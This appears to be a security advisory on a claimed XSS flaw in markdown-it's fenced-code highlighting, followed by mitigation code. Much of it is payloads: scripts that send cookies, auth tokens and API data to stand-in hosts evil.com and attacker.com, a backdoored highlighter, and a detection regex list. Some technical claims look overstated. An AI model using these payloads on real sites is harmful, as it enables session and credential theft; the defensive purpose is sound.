The Core Vulnerability#

The vulnerability exists in the library’s fence rendering logic. Markdown-it uses a naive string check in its default_rules.fence function that bypasses all security controls when highlight functions return HTML starting with <pre:

1
// lib/renderer.mjs lines 48-50
2
if (highlighted.indexOf('<pre') === 0) {
3
    return highlighted + '\n'  // Direct return bypasses all sanitization
4
}

Fence Rendering Mechanics#

When processing fenced code blocks, the library accepts user-controlled content through custom highlight functions. The vulnerability occurs when:

1. A custom options.highlight function processes user input
2. The function returns content that starts with the string <pre
3. Markdown-it bypasses all HTML escaping and sanitization
4. Malicious content is injected directly into the DOM

1
// Vulnerable fence processing flow
2
default_rules.fence = function (tokens, idx, options, env, slf) {
3
  const token = tokens[idx]
4
  // ... language processing ...
5

6
  let highlighted
7
  if (options.highlight) {
8
    // User-controlled content processed here
9
    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
10
  } else {
11
    highlighted = escapeHtml(token.content)  // Safe path
12
  }
13

14
  // THE VULNERABILITY: No validation of highlight function output
15
  if (highlighted.indexOf('<pre') === 0) {
16
    return highlighted + '\n'  // Direct injection!
17
  }
18

19
  // Normal safe rendering path
20
  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
21
}

The XSS Injection Chain#

1. Input Phase:

   • User provides fenced code block with malicious content
   • Content is designed to trick highlight functions into returning <pre-prefixed HTML

2. Processing Phase:

   • Custom highlight function processes the malicious input
   • Function returns HTML containing both legitimate <pre> tags and malicious payloads

3. Bypass Phase:

   • Markdown-it’s string check highlighted.indexOf('<pre') === 0 passes
   • All sanitization is bypassed - content returned directly

4. Injection Phase:

   • Malicious HTML/JavaScript executes in browser context
   • No Content Security Policy or input validation can stop it at this point

Advanced Exploitation Vectors#

1
const maliciousMarkdown = `
2
\`\`\`javascript
3
<pre><code>console.log("Normal code");</code></pre><img src="x" onerror="alert('XSS!')">
4
\`\`\`
5
`;
6

7
// Highlight function that enables the vulnerability
8
const vulnerableHighlight = (str, lang, attrs) => {
9
    if (str.trim().startsWith('<pre')) {
10
        return str;  // Direct return enables bypass
11
    }
12
    return `<pre><code>${str}</code></pre>`;
13
};

1
const eventHandlerPayload = `
2
\`\`\`html
3
<pre onclick="fetch('/api/user', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('//evil.com/'+btoa(JSON.stringify(d))))" style="cursor:pointer;background:#f00;color:white;padding:10px;">
4
Click for data exfiltration
5
</pre>
6
\`\`\`
7
`;

1
// Multi-stage attack through DOM manipulation
2
const domChainPayload = `
3
\`\`\`javascript
4
<pre><code>function legitimate() { return true; }</code></pre>
5
<script>
6
// Stage 1: Setup persistence
7
localStorage.setItem('xss_payload', 'document.body.innerHTML="<h1>PWNED</h1>"');
8

9
// Stage 2: Trigger on user interaction
10
document.addEventListener('click', () => {
11
    eval(localStorage.getItem('xss_payload'));
12
});
13
</script>
14
\`\`\`
15
`;

Bypassing Traditional Protections#

1. Content Security Policy (CSP):

   • Many CSP implementations allow inline event handlers
   • The vulnerability occurs during markdown processing, before CSP evaluation
   • Malicious content appears as “legitimate” markdown output

2. Input Sanitization:

   • Traditional HTML sanitizers run after markdown processing
   • The vulnerability bypasses markdown-it’s internal sanitization
   • Malicious content looks like valid HTML structure

3. Server-Side Rendering:

   • XSS executes during client-side hydration
   • Server logs show “legitimate” markdown processing
   • Difficult to detect through traditional monitoring

Stored XSS via Documentation Systems#

1
// Vulnerable documentation platform
2
app.post('/docs/create', (req, res) => {
3
    const { content, title } = req.body;
4

5
    // Process markdown with vulnerable highlight function
6
    const html = md.render(content);
7

8
    // Store in database - becomes persistent XSS
9
    database.docs.insert({
10
        title,
11
        content: html,  // Stored XSS payload
12
        created: new Date()
13
    });
14
});

Reflected XSS via Live Previews#

1
// Live markdown preview endpoint (vulnerable)
2
app.get('/preview', (req, res) => {
3
    const markdown = req.query.content;
4

5
    // Real-time processing enables reflected XSS
6
    const preview = md.render(markdown);
7

8
    res.json({ preview });  // XSS in response
9
});

Supply Chain Attacks#

1
// Malicious highlight function in compromised package
2
const compromisedHighlighter = (code, lang) => {
3
    // Legitimate highlighting
4
    const result = actualHighlight(code, lang);
5

6
    // Inject backdoor when specific conditions met
7
    if (code.includes('SECRET_TRIGGER')) {
8
        return `<pre><code>${result}</code></pre><img src="x" onerror="fetch('//attacker.com/harvest?data='+document.cookie)">`;
9
    }
10

11
    return result;
12
};

Advanced Payload Construction#

1
const multiVectorPayload = `
2
\`\`\`html
3
<pre id="legit"><code>function example() { return 42; }</code></pre>
4
<style>
5
#legit { display: none; }
6
body::after {
7
  content: "Loading...";
8
  position: fixed;
9
  top: 50%;
10
  left: 50%;
11
  transform: translate(-50%, -50%);
12
  font-size: 24px;
13
}
14
</style>
15
<script>
16
// Delayed execution to avoid detection
17
setTimeout(() => {
18
  // Credential harvesting
19
  const token = localStorage.getItem('auth_token');
20
  const session = document.cookie;
21

22
  // Data exfiltration
23
  fetch('//evil.com/collect', {
24
    method: 'POST',
25
    body: JSON.stringify({ token, session, url: location.href }),
26
    headers: { 'Content-Type': 'application/json' }
27
  });
28

29
  // Cover tracks
30
  document.querySelector('style').remove();
31
  document.getElementById('legit').style.display = 'block';
32
}, 2000);
33
</script>
34
\`\`\`
35
`;

Immediate Actions#

1. Upgrade markdown-it to patched version (not yet available)

   1
   npm install markdown-it@latest
   

2. Temporary Workarounds

   1
   // Safe highlight function wrapper
   2
   function safeHighlight(originalHighlight) {
   3
     return function(str, lang, attrs) {
   4
       const result = originalHighlight(str, lang, attrs);
   5
   
   6
       // Never return content starting with <pre
   7
       if (typeof result === 'string' && result.indexOf('<pre') === 0) {
   8
         // Force safe rendering path
   9
         return null;
   10
       }
   11
   
   12
       return result;
   13
     };
   14
   }
   15
   
   16
   // Usage
   17
   const md = new MarkdownIt({
   18
     highlight: safeHighlight(myHighlightFunction)
   19
   });
   

Secure Implementation Patterns#

1. Output Validation (simple validatons to make a point)

   1
   function validateHighlightOutput(output, originalContent) {
   2
     // Reject any output that starts with HTML tags
   3
     if (/<[^>]+>/.test(output.trim().substring(0, 10))) {
   4
       throw new Error('Highlight function returned unsafe HTML');
   5
     }
   6
   
   7
     // Ensure output doesn't contain script tags or event handlers
   8
     const dangerousPatterns = [
   9
       /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
   10
       /\bon\w+\s*=/gi,
   11
       /javascript:/gi,
   12
       /data:text\/html/gi
   13
     ];
   14
   
   15
     for (const pattern of dangerousPatterns) {
   16
       if (pattern.test(output)) {
   17
         throw new Error('Highlight function returned malicious content');
   18
       }
   19
     }
   20
   
   21
     return output;
   22
   }
   

2. Content Security Policy

   1
   // Strict CSP for markdown content
   2
   app.use((req, res, next) => {
   3
     res.setHeader('Content-Security-Policy', [
   4
       "default-src 'self'",
   5
       "script-src 'self' 'unsafe-inline'",  // Only if absolutely necessary
   6
       "object-src 'none'",
   7
       "style-src 'self' 'unsafe-inline'",   // For syntax highlighting
   8
       "img-src 'self' data: https:",
   9
       "connect-src 'self'"
   10
     ].join('; '));
   11
     next();
   12
   });
   

3. HTML Sanitization

   1
   import DOMPurify from 'dompurify';
   2
   
   3
   // Always sanitize markdown output
   4
   function renderSafeMarkdown(content, options) {
   5
     const html = md.render(content, options);
   6
   
   7
     // Sanitize the final HTML output
   8
     return DOMPurify.sanitize(html, {
   9
       ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'h1', 'h2', 'h3'],
   10
       ALLOWED_ATTR: ['class'],
   11
       FORBID_SCRIPT: true,
   12
       FORBID_TAGS: ['script', 'object', 'embed', 'link'],
   13
       FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover']
   14
     });
   15
   }